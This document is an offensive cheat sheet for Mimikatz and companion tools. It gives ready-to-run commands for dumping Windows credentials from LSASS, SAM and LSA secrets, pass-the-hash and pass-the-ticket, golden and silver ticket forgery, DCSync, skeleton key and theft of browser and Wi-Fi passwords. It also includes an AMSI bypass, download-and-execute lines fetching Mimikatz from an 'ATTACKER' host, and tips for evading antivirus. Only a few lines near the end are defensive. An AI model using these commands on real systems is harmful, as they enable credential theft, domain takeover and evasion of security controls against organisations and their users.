Mimikatz

# Official release → https://github.com/gentilkiwi/mimikatz/releases

# Run interactively
.\mimikatz.exe

# Run a single command
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# Log all output to file
.\mimikatz.exe "log C:\temp\out.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

# Check your privileges
whoami /priv
# Look for: SeDebugPrivilege (Enabled)

# Request debug privilege inside mimikatz
mimikatz # privilege::debug
# Output: Privilege '20' OK  → success!
# FAIL → not admin → escalate first!

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

# Example output:
# Authentication Id : 0 ; 1234567
# User Name         : Administrator
# Domain            : CORP
# Logon Server      : DC01
#   msv:
#     * NTLM     : 31d6cfe0d16ae931b73c59d7e0c089c0
#   wdigest:
#     * Password : P@ssw0rd123!   ← PLAINTEXT (if WDigest enabled!)

# Other sekurlsa commands:
mimikatz # sekurlsa::msv              # NTLM hashes only
mimikatz # sekurlsa::wdigest          # plaintext passwords
mimikatz # sekurlsa::kerberos         # Kerberos credentials
mimikatz # sekurlsa::tspkg            # RDP credentials
mimikatz # sekurlsa::ekeys            # encryption keys
mimikatz # sekurlsa::tickets /export  # export .kirbi files

# Method 1: Task Manager (GUI)
# Task Manager → Details → lsass.exe → Right-click → Create dump file

# Method 2: ProcDump (Sysinternals)
.\procdump.exe -accepteula -ma lsass.exe C:\temp\lsass.dmp

# Method 3: comsvcs.dll (LOLBin — no extra tools needed!)
$lsasspid = (Get-Process lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump $lsasspid C:\temp\lsass.dmp full

# Method 4: NanoDump (EDR Bypass)
./nanodump --write C:\temp\lsass.dmp --valid --fork

# Analyze dump offline with Mimikatz
mimikatz # sekurlsa::minidump C:\temp\lsass.dmp
mimikatz # sekurlsa::logonpasswords

# Analyze on Linux with pypykatz
pip3 install pypykatz
pypykatz lsa minidump lsass.dmp

# Method 1: lsadump::sam (requires SYSTEM)
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam

# Method 2: reg save + impacket (no Mimikatz on disk)
reg save HKLM\SAM      C:\temp\SAM
reg save HKLM\SYSTEM   C:\temp\SYSTEM
reg save HKLM\SECURITY C:\temp\SECURITY

# Offline analysis:
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL

# Method 3: Volume Shadow Copy
vssadmin list shadows
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

# LSA Secrets = service passwords, cached domain creds, DPAPI keys
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::secrets

# Example output:
# Secret  : _SC_BackupService
# cur/text: ServiceP@ss123!    ← service account password!
# Secret  : DPAPI_SYSTEM        ← DPAPI master key!
# Secret  : $MACHINE.ACC        ← machine account password!

# Cached domain logon creds (DCC2) — crack with hashcat -m 2100
mimikatz # lsadump::cache
# * Username : jsmith
# * Hash     : $DCC2$10240#jsmith#3a...

# PTH with Mimikatz — spawns new process as target user
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:Administrator /domain:CORP.LOCAL /ntlm:NTLM_HASH /run:cmd.exe
# → Opens cmd.exe authenticated as Administrator!

# PTH to get PowerShell session
mimikatz # sekurlsa::pth /user:Administrator /domain:CORP.LOCAL /ntlm:NTLM_HASH /run:powershell.exe
# In new PS window:
Enter-PSSession -ComputerName TARGET_PC

# PTH from Linux with impacket
impacket-psexec  CORP/Administrator@192.168.1.10 -hashes :NTLM_HASH
impacket-wmiexec CORP/Administrator@192.168.1.10 -hashes :NTLM_HASH
impacket-smbexec CORP/Administrator@192.168.1.10 -hashes :NTLM_HASH

# PTH with CrackMapExec (spray entire subnet!)
crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH
crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH -x "whoami"
crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH --sam

# Step 1: Export all Kerberos tickets to .kirbi files
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
# OR:
mimikatz # kerberos::list /export

# Step 2: View tickets in memory
mimikatz # kerberos::list

# Step 3: Inject (import) a ticket
mimikatz # kerberos::ptt [0;12345]-0-0-40e10000-Administrator@krbtgt-CORP.LOCAL.kirbi

# Verify injection
klist

# Use the injected ticket
dir \\FILESERVER\C$
Enter-PSSession FILESERVER

# Purge all tickets (cleanup)
mimikatz # kerberos::purge

# PTT from Linux
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec -k -no-pass CORP/Administrator@FILESERVER.CORP.LOCAL

# Method A: DCSync (requires Domain Admin)
mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:krbtgt
# Output:
# * SAMAccountName : krbtgt
# Hash NTLM: 1234abcd5678efgh...  ← THE KRBTGT HASH!

# Also get Domain SID:
whoami /user
# S-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ-1234
# Domain SID = everything before the last -XXXX

# Create and inject Golden Ticket (in-memory — no file written!)
mimikatz # kerberos::golden ^
    /user:FakeAdmin ^
    /domain:CORP.LOCAL ^
    /sid:S-1-5-21-DOMAIN_SID ^
    /krbtgt:KRBTGT_NTLM_HASH ^
    /id:500 ^
    /groups:512,513,518,519,520 ^
    /ptt

# OR save to file first
mimikatz # kerberos::golden ^
    /user:Administrator ^
    /domain:CORP.LOCAL ^
    /sid:S-1-5-21-DOMAIN_SID ^
    /krbtgt:KRBTGT_HASH ^
    /ticket:golden.kirbi

# Inject from file
mimikatz # kerberos::ptt golden.kirbi

# Use it!
dir \\DC01\C$
dir \\DC01\ADMIN$
Enter-PSSession -ComputerName DC01

# Target Enterprise Admin (cross-domain!)
mimikatz # kerberos::golden ^
    /user:Administrator ^
    /domain:child.CORP.LOCAL ^
    /sid:S-1-5-21-CHILD_DOMAIN_SID ^
    /sids:S-1-5-21-PARENT_DOMAIN_SID-519 ^
    /krbtgt:CHILD_KRBTGT_HASH ^
    /ptt

# Forge Silver Ticket for CIFS (file share)
mimikatz # kerberos::golden ^
    /user:Administrator ^
    /domain:CORP.LOCAL ^
    /sid:S-1-5-21-DOMAIN_SID ^
    /target:FILESERVER.CORP.LOCAL ^
    /service:cifs ^
    /rc4:SERVICE_ACCOUNT_NTLM_HASH ^
    /ptt
# → Access \\FILESERVER\C$ without touching DC!

# WSMAN Silver Ticket (PS Remoting)
mimikatz # kerberos::golden ^
    /user:Administrator ^
    /domain:CORP.LOCAL ^
    /sid:S-1-5-21-DOMAIN_SID ^
    /target:SERVER.CORP.LOCAL ^
    /service:wsman ^
    /rc4:SERVICE_NTLM_HASH ^
    /ptt

Enter-PSSession -ComputerName SERVER.CORP.LOCAL

# DCSync single account
mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:krbtgt
mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:Administrator

# DCSync ALL domain hashes
mimikatz # lsadump::dcsync /domain:CORP.LOCAL /all /csv

# lsadump::lsa (run ON the DC directly)
mimikatz # privilege::debug
mimikatz # lsadump::lsa /patch

# DCSync from Linux (impacket)
impacket-secretsdump CORP/DomainAdmin:Password@DC01.CORP.LOCAL
impacket-secretsdump -hashes :NTLM_HASH CORP/DomainAdmin@DC01.CORP.LOCAL

# Find who has DCSync rights (misconfiguration check)
Import-Module PowerView
Get-ObjectAcl -DistinguishedName "DC=CORP,DC=LOCAL" -ResolveGUIDs | `
    Where-Object { $_.ObjectType -match "DS-Replication-Get-Changes" }

# List available tokens
mimikatz # privilege::debug
mimikatz # token::list
# PID=4     NT AUTHORITY\SYSTEM
# PID=4128  CORP\DomainAdmin   ← steal this!

# Elevate to SYSTEM
mimikatz # token::elevate

# Impersonate first Domain Admin found in processes
mimikatz # token::elevate /domainadmin

# Impersonate by PID
mimikatz # token::elevate /id:4128

# Revert to original token
mimikatz # token::revert

# Spawn process as another user's token
mimikatz # token::run /process:cmd.exe /user:DomainAdmin

# Inject Skeleton Key (must run ON the DC!)
mimikatz # privilege::debug
mimikatz # misc::skeleton
# Output: "Patch OK for 'NTLM'"

# Login to any domain account using master password
net use \\DC01\C$ /user:CORP\Administrator mimikatz
# → Grants access even though "mimikatz" isn't the real password!

Enter-PSSession -ComputerName WORKSTATION -Credential (
    New-Object PSCredential("CORP\jsmith",
    (ConvertTo-SecureString "mimikatz" -AsPlainText -Force)))

# Step 1: Get domain DPAPI backup key (decrypts ANY user's data!)
mimikatz # privilege::debug
mimikatz # lsadump::backupkeys /system:DC01.CORP.LOCAL /export
# Saves: ntds_capi_0_*.pvk

# Step 2: Decrypt a user's MasterKey
mimikatz # dpapi::masterkey ^
    /in:"C:\Users\jsmith\AppData\Roaming\Microsoft\Protect\S-1-5-21-...\GUID" ^
    /pvk:ntds_capi_0_backup.pvk

# Step 3: Dump Chrome saved passwords
mimikatz # dpapi::chrome ^
    /in:"C:\Users\jsmith\AppData\Local\Google\Chrome\User Data\Default\Login Data" ^
    /unprotect
# → ALL Chrome passwords in plaintext!

# Dump Windows Credential Manager (RDP, mapped drives, etc.)
mimikatz # vault::list
mimikatz # vault::cred

# Dump WiFi passwords
mimikatz # misc::wifi

# Load kiwi after getting Meterpreter shell
meterpreter > load kiwi

# Dump all credentials (sekurlsa::logonpasswords equivalent)
meterpreter > creds_all
meterpreter > lsa_dump_secrets

# Dump NTLM hashes
meterpreter > creds_msv

# Dump Kerberos tickets
meterpreter > creds_kerberos
meterpreter > kerberos_ticket_list
meterpreter > kerberos_ticket_use /path/to/ticket.kirbi

# DCSync
meterpreter > dcsync_ntlm krbtgt
meterpreter > dcsync_ntlm Administrator

# Golden Ticket
meterpreter > golden_ticket_create -u Administrator -d CORP.LOCAL -s S-1-5-21-... -k KRBTGT_HASH -t /tmp/golden.kirbi
meterpreter > kerberos_ticket_use /tmp/golden.kirbi

# Misc
meterpreter > vault_list
meterpreter > wifi_list
meterpreter > kiwi_cmd misc::skeleton

# Invoke-Mimikatz via PowerShell (no binary on disk!)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
Invoke-Mimikatz -DumpCreds
Invoke-Mimikatz -DumpCerts

# AMSI Bypass + in-memory load
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
$bytes = (New-Object Net.WebClient).DownloadData('http://ATTACKER/mimikatz.exe')
[System.Reflection.Assembly]::Load($bytes)

# comsvcs.dll — native Windows LOLBin
$pid = (Get-Process lsass).Id
rundll32 C:\windows\system32\comsvcs.dll, MiniDump $pid dump.dmp full

# NanoDump — evasive, no direct handle
.\nanodump.exe --write dump.dmp --valid --fork

# Analyze on Linux (no Windows needed!)
pip3 install pypykatz
pypykatz lsa minidump lsass.dmp

# Compile from source with modified strings
git clone https://github.com/gentilkiwi/mimikatz.git

# In globals.h: rename MIMIKATZ string, author, version
# Recompile in Visual Studio 2022
# → Custom build evades most static AV signatures!

# Cobalt Strike: execute-assembly (never touches disk)
execute-assembly /path/to/mimikatz.exe "sekurlsa::logonpasswords"

# Disable WDigest (CRITICAL on legacy systems!)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" `
    -Name "UseLogonCredential" -Value 0

# Enable LSA Protection
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
    -Name "RunAsPPL" -Value 1

# Reset KRBTGT password (twice, 24-36hrs apart)
# Tool: New-KrbtgtKeys.ps1 (Microsoft)

# === ALWAYS START WITH ===
mimikatz # privilege::debug          # get SeDebugPrivilege
mimikatz # token::elevate            # get SYSTEM token

# === CREDENTIAL DUMPING ===
mimikatz # sekurlsa::logonpasswords  # MAIN: dump all creds
mimikatz # sekurlsa::wdigest         # plaintext (if WDigest on)
mimikatz # sekurlsa::msv             # NTLM hashes only
mimikatz # sekurlsa::kerberos        # Kerberos credentials
mimikatz # sekurlsa::tspkg           # RDP credentials
mimikatz # sekurlsa::tickets /export # export .kirbi files
mimikatz # lsadump::sam              # local SAM hashes
mimikatz # lsadump::secrets          # LSA secrets
mimikatz # lsadump::cache            # cached domain creds (DCC2)
mimikatz # lsadump::lsa /patch       # all domain hashes (on DC)

# === DCSYNC ===
mimikatz # lsadump::dcsync /user:krbtgt         # KRBTGT hash
mimikatz # lsadump::dcsync /user:Administrator  # DA hash
mimikatz # lsadump::dcsync /all /csv            # ALL hashes

# === PASS THE HASH ===
mimikatz # sekurlsa::pth /user:Admin /domain:CORP.LOCAL /ntlm:HASH /run:cmd.exe

# === PASS THE TICKET ===
mimikatz # kerberos::list /export               # export tickets
mimikatz # kerberos::ptt ticket.kirbi           # inject ticket
mimikatz # kerberos::purge                      # purge all tickets

# === GOLDEN TICKET ===
mimikatz # kerberos::golden /user:Admin /domain:CORP.LOCAL /sid:S-1-5-21-... /krbtgt:HASH /ptt

# === SILVER TICKET ===
mimikatz # kerberos::golden /user:Admin /domain:CORP.LOCAL /sid:S-1-5-21-... /target:SERVER /service:cifs /rc4:SVCACCT_HASH /ptt

# === SKELETON KEY (run ON the DC!) ===
mimikatz # misc::skeleton            # master password = "mimikatz"

# === TOKEN MANIPULATION ===
mimikatz # token::list               # list available tokens
mimikatz # token::elevate            # elevate to SYSTEM
mimikatz # token::elevate /domainadmin  # impersonate domain admin
mimikatz # token::revert             # back to original

# === DPAPI & VAULT ===
mimikatz # dpapi::chrome /in:"PATH\Login Data" /unprotect
mimikatz # vault::list
mimikatz # vault::cred
mimikatz # misc::wifi                # WiFi passwords

# === OFFLINE LSASS DUMP (LOLBin) ===
rundll32 C:\windows\system32\comsvcs.dll, MiniDump (Get-Process lsass).Id dump.dmp full

# === OFFLINE ANALYSIS ===
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords